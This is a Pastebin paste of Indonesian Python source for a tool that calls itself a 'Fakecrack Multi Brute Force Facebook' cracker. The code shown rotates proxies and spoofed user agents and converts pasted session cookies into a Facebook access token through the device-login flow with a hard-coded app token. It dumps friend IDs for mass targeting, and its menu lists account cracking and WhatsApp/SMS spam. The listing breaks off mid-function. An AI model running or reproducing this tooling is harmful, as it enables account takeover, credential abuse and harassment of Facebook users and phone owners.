OBF-XIn

125.164.232.45-/sdcard/spoky_1.py.py

Jul 20th, 2023
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 139.01 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------#
  2. import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64,subprocess,uuid
  3. from time import sleep
  4. from rich import pretty
  5. from rich.tree import Tree
  6. from rich.panel import Panel
  7. from rich import print as cetak
  8. from rich import print as rprint
  9. from rich import print as prints
  10. from rich.progress import track
  11. from rich.text import Text as tekz
  12. from rich.console import Console
  13. from rich.text import Text
  14. from rich.columns import Columns
  15. from rich.panel import Panel as nel
  16. from rich.panel import Panel as panel
  17. from bs4 import BeautifulSoup as sop
  18. from bs4 import BeautifulSoup as par
  19. from rich.console import Group as gp
  20. from bs4 import BeautifulSoup as parser
  21. from rich.columns import Columns as col
  22. from rich.console import Console as sol
  23. from rich.markdown import Markdown as mark
  24. from concurrent.futures import ThreadPoolExecutor as tred
  25. from concurrent.futures import ThreadPoolExecutor as BrayennnXD
  26. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  27. #------------------[ WARNA-INSTALL ]-------------------#
  28. P = '\x1b[1;97m' # PUTIH
  29. K = '\x1b[1;93m' # KUNING
  30. #------------------[ INSTALL-MODULE ]-------------------#
  31. try:
  32.         import requests
  33. except ImportError:
  34.         cetak(panel('\t•[bold yellow]sedang menginstall modul requests •'))
  35.         os.system('pip install requests')
  36. try:
  37.         import bs4
  38. except ImportError:
  39.         cetak(panel('\t•[bold white]sedang menginstall modul bs4 •'))
  40.         os.system('pip install bs4')
  41. try:
  42.         import rich
  43. except ImportError:
  44.         cetak(panel('\t•[bold yellow] sedang menginstall modul rich •'))
  45.         os.system('pip install rich')
  46. try:
  47.         import stdiomask
  48. except ImportError:
  49.         cetak(panel('\t•[bold white]sedang menginstall sodul stdiomask •'))
  50.         os.system('pip install stdiomask')
  51. #------------------[ GLOBAL-NAME ]-------------------#
  52. pretty.install()
  53. CON=sol()
  54. wa = Console()
  55. taplikasi=[]
  56. gabriel=[]
  57. uidl =[]
  58. opsi=[]
  59. uidf=[]
  60. console = Console()
  61. ses=requests.Session()
  62. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni,method,pwpluss,pwnya= [],[],0,0,0,[],[],[],[],[],[],[],[],[]
  63. ugen2,ugen,dia,cokbrut,dump,memek,ualu,ualuh,lisensikuni,lisensiku,princp=[],[],[],[],[],[],[],[],[],[],[]
  64. try:
  65.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  66.     open('.prox.txt','w').write(proxy)
  67. except Exception as e:
  68.     proxy=open('.prox.txt','r').read().splitlines()
  69. #------------------[ USER-AGENT ]-------------------#
  70. for agenku in range(10000):
  71.     a='Mozilla/5.0 (Windows NT '
  72.     b=random.randrange(1, 9)
  73.     c=random.randrange(1, 9)
  74.     d='Win64; x64)'
  75.     e=random.randrange(100, 9999)
  76.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  77.     g=random.randrange(1, 9)
  78.     h=random.randrange(1, 4)
  79.     i=random.randrange(1, 4)
  80.     j=random.randrange(1, 4)
  81.     k='Safari/537.36 Edg/114.0.1823.43 Unique/92.7.2606.7'
  82.     uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  83.     ugen2.append(uakuh)
  84.    
  85. #-----------[ UGEN-WINDOUS-AND-DALFIK ]-----------#
  86. for cyxxxnxx  in range(10000):
  87.     rr = random.randint
  88.     rc = random.choice
  89.     dalkkk = random.choice(['Sprint','Verizon','AT&T','Three','vodaAU','3Austria','Telstra','TELIA','OPTUS','U.S.Cellular','TFW','OrangeFrance','TELEGRL'])
  90.     wins1 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Vivaldi/6.1.3035.111"
  91.     wins2 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Vivaldi/6.1.3035.111"
  92.     wins3 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36"
  93.     wins4 = f"Mozilla/5.0 (Windows NT {str(rr(1,15))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36"
  94.     wins5 = f"Mozilla/5.0 (Windows NT {str(rr(1,5))}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Safari/537.36 Edg/114.0.1823.86"
  95.     dalfik1 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(7,15))}; AORO_A7 Build/QP1A.190711.020) [FBAN/MessengerForAndroid;FBAV/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))};FBLC/in_ID;FBBV/{str(rr(000000,999999))}','{str(rr(0000000,9999999))}','{str(rr(00000000,99999999))};FBCR/{dalkkk};FBMF/Aoro;FBBD/Aoro;FBDV/AORO_A7;FBSV/{str(rr(6,13))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=4,width=1440,height=3080};FB_FW/353;]"
  96.     dalfik2 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(7,15))}; Avvio_793 Build/KOT49H) [FBAN/Orca-Android;FBAV/3.0.1-release;FBLC/in_ID;FBBV/128764;FBCR/Tsel-PakaiSarung;FBMF/Avvio;FBBD/Avvio;FBDV/Avvio_793;FBSV/{str(rr(6,20))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=2.75,width=1080,height=2110}] FBBK/1"
  97.     dalfik3 = f"Mozilla/5.0 (Linux; Android {str(rr(7,15))}; UTBook Build/QP1A.191105.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/110.0.5481.65 Safari/537.36 [FBAN/FB4A;FBAV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBBV/9446340;FBDM/"+"{density=2.75,width=1080,height=2110};FBLC/id_ID;FBCR/Tsel-PakaiMasker;FBMF/Awow;FBBD/Awow;FBPN/com.facebook.katana;FBDV/UTBook;FBSV/{str(rr(6,20))};FBOP/1;FBCA/armeabi-v7a:armeabi;]"
  98.     dalfik4 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(7,15))}; SM-N950U1 Build/PPR1.180610.011) [FBAN/MessengerLite;FBAV/{(rr(100,467))}.0.0.8.42;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/743627942;FBCR/TIGO;FBMF/samsung;FBBD/samsung;FBDV/SM-N950U1;FBSV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBCA/arm64-v8a:armeabi-v7a:armeabi;FBDM/"+"{density=2.25,height=1024,width=2048};]"
  99.     dalfik5 = f"Dalvik/2.1.0 (Linux; U; Android {str(rr(7,15))}; SM-J330FN Build/PPR1.180610.011) [FBAN/MessengerLite;FBAV/{(rr(100,467))}.0.0.3.109;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/751378617;FBCR/Grameenphone;FBMF/samsung;FBBD/samsung;FBDV/SM-J330FN;FBSV/{str(rr(20,411))}.0.0.{str(rr(10,99))}.{str(rr(5,200))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=2.25,height=,width=};]"
  100.     winsdalk = random.choice([wins1, wins2, wins3, wins4, wins5, dalfik1, dalfik2, dalfik3, dalfik4, dalfik5])
  101.     ugen.append(winsdalk)
  102.        
  103. for agenku in range(10):
  104.     a='Mozilla/5.0 (Linux; Android'
  105.     b=random.choice(['6.0.1','7.1.1','8.1.0'])
  106.     c='SUPER-ID Build/KOT49H)'
  107.     d='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  108.     e=random.randrange(83,103)
  109.     f='0'
  110.     g=random.randrange(4200,4900)
  111.     h=random.randrange(40,150)
  112.     i='Mobile Safari/537.36 OPT/1.7.21'
  113.     uaku=f'{a} {b}; {c} {d}{e}.{f}.{g}.{h} {i}'
  114.                    
  115.     a=random.choice(['7','8','9','10','11','12','13'])
  116.     b=random.choice(['7','8','9','10','11','12','13'])
  117.     c=random.randrange(73,100)
  118.     d=random.randrange(4200,4900)
  119.     e=random.randrange(40,150)
  120.     uaku=f'Mozilla/5.0 (Linux; Android {a}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  121. def uaku():
  122.     try:
  123.         ua=open('bbnew.txt','r').read().splitlines()
  124.         for ub in ua:
  125.             ugen.append(ub)
  126.     except:
  127.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  128.         ua=open('.bbnew.txt','w')
  129.         aa=re.findall('line">(.*?)<',str(a))
  130.         for un in aa:
  131.             ua.write(un+'\n')
  132.         ua=open('.bbnew.txt','r').read().splitlines()
  133. ###----------[ WARNA PRINT RICH ]---------- ###
  134. M2 = "[#FF0000]" # MERAH
  135. H2 = "[#00FF00]" # HIJAU
  136. K2 = "[#FFFF00]" # KUNING
  137. B2 = "[#00C8FF]" # BIRU
  138. P2 = "[#FFFFFF]" # PUTIH
  139. A2 = "[#AAAAAA]" # ABU-ABU
  140. ###----------[ CEK WARNA TEMA ]---------- ###
  141. try:
  142.     file_color = open("data/theme_color","r").read()
  143.     color_text = file_color.split("|")[0]
  144.     color_panel = file_color.split("|")[1]
  145. except:
  146.     color_text = "[#00FF00]"
  147.     W1 = random.choice([M2,H2,K2])
  148.     W2 = random.choice([K2,M2,K2])
  149.     W3 = random.choice([H2,K2,M2])
  150.     color_panel = "#00FF00"
  151.     color_ok = "#00FF00"
  152.     color_cp = "#FFFF00"
  153. try:
  154.     file_color = open("data/theme_color","r").read()
  155.     color_text = file_color.split("|")[0]
  156.     color_brayen = file_color.split("|")[1]
  157. except:
  158.     color_text = "[#00C8FF]"
  159.     color_brayen = "#00C8FF"
  160. #------------[ WARNA-TEMA ]---------------#
  161. P = '\x1b[1;97m' # PUTIH
  162. M = '\x1b[1;91m' # MERAH
  163. H = '\x1b[1;92m' # HIJAU
  164. K = '\x1b[1;93m' # KUNING
  165. B = '\x1b[1;94m' # BIRU
  166. U = '\x1b[1;95m' # UNGU
  167. O = '\x1b[1;96m' # BIRU MUDA
  168. N = '\x1b[0m'   # WARNA MATI
  169. x = '\33[m' # DEFAULT
  170. m = '\x1b[1;91m' #RED +
  171. k = '\033[93m' # KUNING +
  172. h = '\x1b[1;92m' # HIJAU +
  173. hh = '\033[32m' # HIJAU -
  174. u = '\033[95m' # UNGU
  175. kk = '\033[33m' # KUNING -
  176. b = '\33[1;96m' # BIRU -
  177. p = '\x1b[0;34m' # BIRU +
  178. asu = random.choice([m,k,h,u,b])
  179. #--------------------[ CONVERTER-BULAN ]--------------#
  180. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  181. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  182. tgl = datetime.datetime.now().day
  183. bln = dic[(str(datetime.datetime.now().month))]
  184. thn = datetime.datetime.now().year
  185. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  186. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  187. try:cek_data = requests.get("http://ip-api.com/json/").json()
  188. except:cek_data = {'-'}
  189. try:asal_kota = cek_data["city"]
  190. except:asal_kota = {'-'}
  191. try:asal_reg = cek_data["region"]
  192. except:asal_reg = cek_data['-']
  193. try:times = cek_data["timezone"]
  194. except:times = cek_data['-']
  195. try:city = cek_data["city"]
  196. except:city = cek_data['-']
  197. ###----------[ KETERANGAN WAKTU ]---------- ###
  198. def cektahun(fx):
  199.     if len(fx)==15:
  200.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  201.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  202.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  203.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  204.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  205.         elif fx[:6] in ['100001']          :tahunz = '2010'
  206.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  207.         elif fx[:6] in ['100004']          :tahunz = '2012'
  208.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  209.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  210.         elif fx[:6] in ['100009']          :tahunz = '2015'
  211.         elif fx[:5] in ['10001']           :tahunz = '2016'
  212.         elif fx[:5] in ['10002']           :tahunz = '2017'
  213.         elif fx[:5] in ['10003']           :tahunz = '2018'
  214.         elif fx[:5] in ['10004']           :tahunz = '2019'
  215.         elif fx[:5] in ['10005']           :tahunz = '2020'
  216.         elif fx[:5] in ['10006']           :tahunz = '2021'
  217.         elif fx[:5] in ['10009']           :tahunz = '2023'
  218.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  219.         else:tahunz=''
  220.     elif len(fx) in [9,10]:
  221.         tahunz = '2008'
  222.     elif len(fx)==8:
  223.         tahunz = '2007'
  224.     elif len(fx)==7:
  225.         tahunz = '2006'
  226.     else:tahunz=''
  227.     return tahunz
  228. #------------------[ MACHINE-SUPPORT ]---------------#
  229. def mama(semok):
  230.         for mama in semok + "\n":sys.stdout.write(mama);sys.stdout.flush();time.sleep(0.01)
  231. def clear():
  232.     os.system('clear')
  233. def back():
  234.     login()
  235. #------------------[ LOGO-LAKNAT ]-----------------#
  236. def banner():
  237.     clear()
  238.     cetak(panel(f'''    [bold red]★ [bold yellow]★ [bold green]★ [bold red]
  239.     _____                                                                    
  240.  __|___  |__  ____    __  __  ______  ______  _____   ____    ______  __  __  
  241. |   ___|    ||    \ |  |/ / |   ___||   ___||     | |    \ |   ___||  |/ /  
  242. [bold white] |   ___|    ||     \ |     \ |   ___||   |__ |     \ |     \ |   |__ |     \
  243. |___|     __||__|\__\|__|\__\|______||______||__|\__\|__|\__\|______||__|\__\
  244.    |_____| [bold green] Fakecrack Multi Brute Force Facebook Team Creackers Indonesia                                                                
  245.                                                                               ''',width=87,padding=(0,3),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] LOGO [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  246. #--------------------[ BAGIAN-MASUK ]--------------#
  247. def login():
  248.     try:
  249.         token = open('.token.txt','r').read()
  250.         cok = open('.cok.txt','r').read()
  251.         tokenku.append(token)
  252.         try:
  253.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  254.             sy03 = json.loads(sy.text)['name']
  255.             menu(sy03)
  256.         except KeyError:
  257.             login_lagi334()
  258.         except requests.exceptions.ConnectionError:
  259.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  260.             lo = mark(li, style='red')
  261.             sol().print(lo, style='cyan')
  262.             exit()
  263.     except IOError:
  264.         login_lagi334()
  265.        
  266. def login_lagi334():
  267.     try:
  268.         os.system('clear')
  269.         banner()
  270.         cetak(Panel(f"[bold white]   DISARANKAN MENGAMBIL KUKIS DI [bold red]EKSTENTION DOUGH [bold white]DAN JANGAN GUNAKAN AKUN PRIBADI",width=87,style=f"{color_panel}"))
  271.         your_cookies = input(f'└── [+] Masukan Cookie {H}: ')
  272.         with requests.Session() as r:
  273.             try:
  274.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  275.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  276.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  277.                 code, user_code = response['code'], response['user_code']
  278.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  279.                 r.headers.pop('content-type')
  280.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  281.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  282.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  283.                     print(f"└── [+] Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  284.                 else:
  285.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  286.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  287.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  288.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  289.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  290.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  291.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  292.                         r.headers.pop('content-type');r.headers.pop('origin')
  293.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  294.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  295.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  296.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  297.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  298.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  299.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  300.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  301.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  302.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  303.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  304.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  305.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  306.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  307.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  308.                         r.headers.pop('content-type');r.headers.pop('origin')
  309.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  310.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  311.                         if 'Sukses!' in str(response6):
  312.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  313.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  314.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  315.                             print(f"\n└── [+] Token {H}: {access_token}")
  316.                             tokenew = open(".token.txt","w").write(access_token)
  317.                             cook= open(".cok.txt","w").write(your_cookies)
  318.                             print(f"\n└── [+] Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  319.             except Exception as e:
  320.                 print(f"└── [+] Cookies Mokad Kontol")
  321.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  322.                 print(e)
  323.                 time.sleep(3)
  324.                 back()
  325.     except:pass
  326.    
  327. #------------------------[ BAGIAN-MENU ]---------------------#
  328. def menu(my_name):
  329.     try:
  330.         token = open('.token.txt','r').read()
  331.         cok = open('.cok.txt','r').read()
  332.     except IOError:
  333.         print('[×] Cookies Kadaluarsa ')
  334.         time.sleep(5)
  335.         login_lagi334()
  336.     os.system('clear')
  337.     banner()
  338.     cetak(Panel(f"[bold white]     SELAMAT DATANG [bold red]{my_name} [bold white]GUNAKAN SEWAJARNYA AJA, SPAM IP BAHAYA CUY",width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SALAM [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  339.     negara = requests.get("http://ip-api.com/json/").json()["country"]
  340.     ip = requests.get("http://ip-api.com/json/").json()["query"]
  341.     dia=[]
  342.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]CO DEV    : [bold green]CYXOEON-XD[/]\n[bold white][+[/][bold white]][/] [bold white]TIKTOK    : [bold green]notfount604[/][/]\n[bold white][+[/][bold white]][/] [bold white]GITHUB    : [bold green]CyxXionXr[/]\n[bold white][+[/][bold white]][/] [bold white]FACEBOOK  : [bold green]Spoky XD[/]\n[bold white][+[/][bold white]][/] [bold white]INSTAGRAM : [bold green]cyxxieon_xd[/][/] ',width=43,padding=(0,2),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] STATUS KU [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  343.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/]\n[bold white][+[/][bold white]][/] [bold white]COUNTRY   : [bold green]{negara}[/]\n[bold white][+[/][bold white]][/] [bold white]CITY      : [bold green]{asal_kota}[/][/]\n[bold white][+[/][bold white]][/] [bold white]REGION    : [bold green]{asal_reg}[/][/]\n[bold white][+[/][bold white]][/] [bold white]TIMEZONE  : [bold green]{times}[/][/] ',width=43,padding=(0,2),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] STATUS MU [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  344.     console.print(Columns(dia))
  345.     cetak(panel(f"[bold white]Alvino_Xy , DerrXr , Asepit-Gans , Rozhak XD , Rochmat Basuki , Nazri XD , Aorec XD , Lukman-XD , Dapunta , Kall And Brayennn XD",width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] THANKS TO [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  346.     cetak(panel(f"[bold white][[bold cyan]01[bold white]] Crack Publik    [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]06[bold white]] Cek Result    [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]02[bold white]] Crack Massal    [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]07[bold white]] Spam Wa       [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]03[bold white]] Crack Email     [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]08[bold white]] Spam Sms      [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]04[bold white]] Crack File      [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]09[bold white]] Ganti Tema    [bold white][[bold green]ONLINE[bold white]]\n[bold white][[bold cyan]05[bold white]] Dump Idz        [bold white][[bold green]ONLINE[bold white]]                 [bold white][[bold cyan]00[bold white]] Hapus Kukis   [bold white][[bold red]ONLINE[bold white]]",width=87,padding=(0,5),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU FORCE [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  347.     cyxieon_kiddie = input(f'└── [+] Pilih Menu : ')
  348.     if cyxieon_kiddie in ['1','01']:
  349.         crack_publik()
  350.     elif cyxieon_kiddie in ['2','02']:
  351.         crack_masal()
  352.     elif cyxieon_kiddie in ['3','03']:
  353.         crack_email()
  354.     elif cyxieon_kiddie in ['4','04']:
  355.         crack_file()
  356.     elif cyxieon_kiddie in ['5','05']:
  357.         dump_id()
  358.     elif cyxieon_kiddie in ['6','06']:
  359.         cek_result()
  360.     elif cyxieon_kiddie in ['7','07']:
  361.         spam_wa()
  362.     elif cyxieon_kiddie in ['8','08']:
  363.         spam_sms()
  364.     elif cyxieon_kiddie in ['9','09']:
  365.         ganti_tema()
  366.     elif cyxieon_kiddie in ['0','00']:
  367.         os.system('rm -rf .token.txt')
  368.         os.system('rm -rf .cookie.txt')
  369.         print(f'└── [+] Sukses Hapus Kukis ')
  370.         back()
  371.     else:
  372.         print(f'└── [+] Pilih Yang Bener Asu ')
  373.         back()
  374.                
  375. ###----------[ GANTI WARNA TEMA ]---------- ###
  376. def ganti_tema():
  377.         prints(Panel(f"""[bold white][[bold cyan]01[bold white]]. ganti warna tema merah      [bold white][[bold cyan]06[bold white]]. ganti warna tema pink
  378. [bold white][[bold cyan]02[bold white]]. ganti warna tema hijau      [bold white][[bold cyan]07[bold white]]. ganti warna tema cyan
  379. [bold white][[bold cyan]03[bold white]]. ganti warna tema kuning     [bold white][[bold cyan]08[bold white]]. ganti warna tema putih
  380. [bold white][[bold cyan]04[bold white]]. ganti warna tema biru       [bold white][[bold cyan]09[bold white]]. ganti warna tema orange
  381. [bold white][[bold cyan]05[bold white]]. ganti warna tema ungu       [bold white][[bold cyan]10[bold white]]. ganti warna tema abu2""",width=87,padding=(0,10),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] WARNA TEMA [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  382.         ask = console.input(f"└── [+] pilih tema : ")
  383.         if ask in["01","1"]:warna = "[#FF0000]";teks="merah"
  384.         elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau"
  385.         elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning"
  386.         elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru"
  387.         elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu"
  388.         elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink"
  389.         elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan"
  390.         elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih"
  391.         elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange"
  392.         elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu"
  393.         open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]",""))
  394.         prints(Panel(f"""[bold white]berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=87,padding=(0,10),style=f"{color_panel}"))
  395.         sys.exit()
  396.        
  397. #-------------------------[ DUMP ID ]---------------------------#
  398. def dump_id():
  399.     try:
  400.         token = open('.token.txt','r').read()
  401.         cookie = open('.cok.txt','r').read()
  402.         os.mkdir('/sdcard/DUMP-FILE')
  403.     except:pass
  404.     try:
  405.         barelang = input(f"└── [+] Masukan Id  : ")
  406.         batuampar = input(f"└── [+] Nama File Dump  : ")
  407.         gajahmada  = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
  408.         xxx = open(gajahmada, 'w')
  409.         coki = {"cookie":cookie}
  410.         smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
  411.         for sekupang in smpn20['friends']['data']:
  412.             id.append(sekupang['id']+'|'+sekupang['name'])
  413.             xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
  414.             print('\r└── [+] Mengumpulkan %s Id'%(len(id)),end='')
  415.             time.sleep(0.0050)
  416.         print(f"\n└── [+] Berhasil Dump Id Dari Publik")
  417.         print(f"└── [+] Salin Output File + [ %s ]"%(gajahmada))
  418.         exit()
  419.     except (KeyError,IOError):
  420.         os.remove(gajahmada)
  421.         print(f"└── [+] Gagal Dump Id, Kemungkinan Id Tidak Ada")
  422.         exit()
  423.        
  424. #-----------------[ HASIL-CRACK ]-----------------#
  425. def cek_result():
  426.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Hasil OK[/]                     [bold white][[bold cyan]02[/][bold white]][/] [bold white]Hasil CP[/]',width=87,padding=(0,17),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK RESULT [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  427.     kz = input(f'└── [+] Pilih : ')
  428.     if kz in ['2','02']:
  429.         try:vin = os.listdir('CP')
  430.         except FileNotFoundError:
  431.             print('└── [+] File Tidak Di Temukan ')
  432.             time.sleep(3)
  433.             back()
  434.         if len(vin)==0:
  435.             print('└── [+] Anda Tidak Memiliki Hasil CP ')
  436.             time.sleep(4)
  437.             back()
  438.         else:
  439.             cih = 0
  440.             lol = {}
  441.             for isi in vin:
  442.                 try:hem = open('CP/'+isi,'r').readlines()
  443.                 except:continue
  444.                 cih+=1
  445.                 if cih<10:
  446.                     nom = '0'+str(cih)
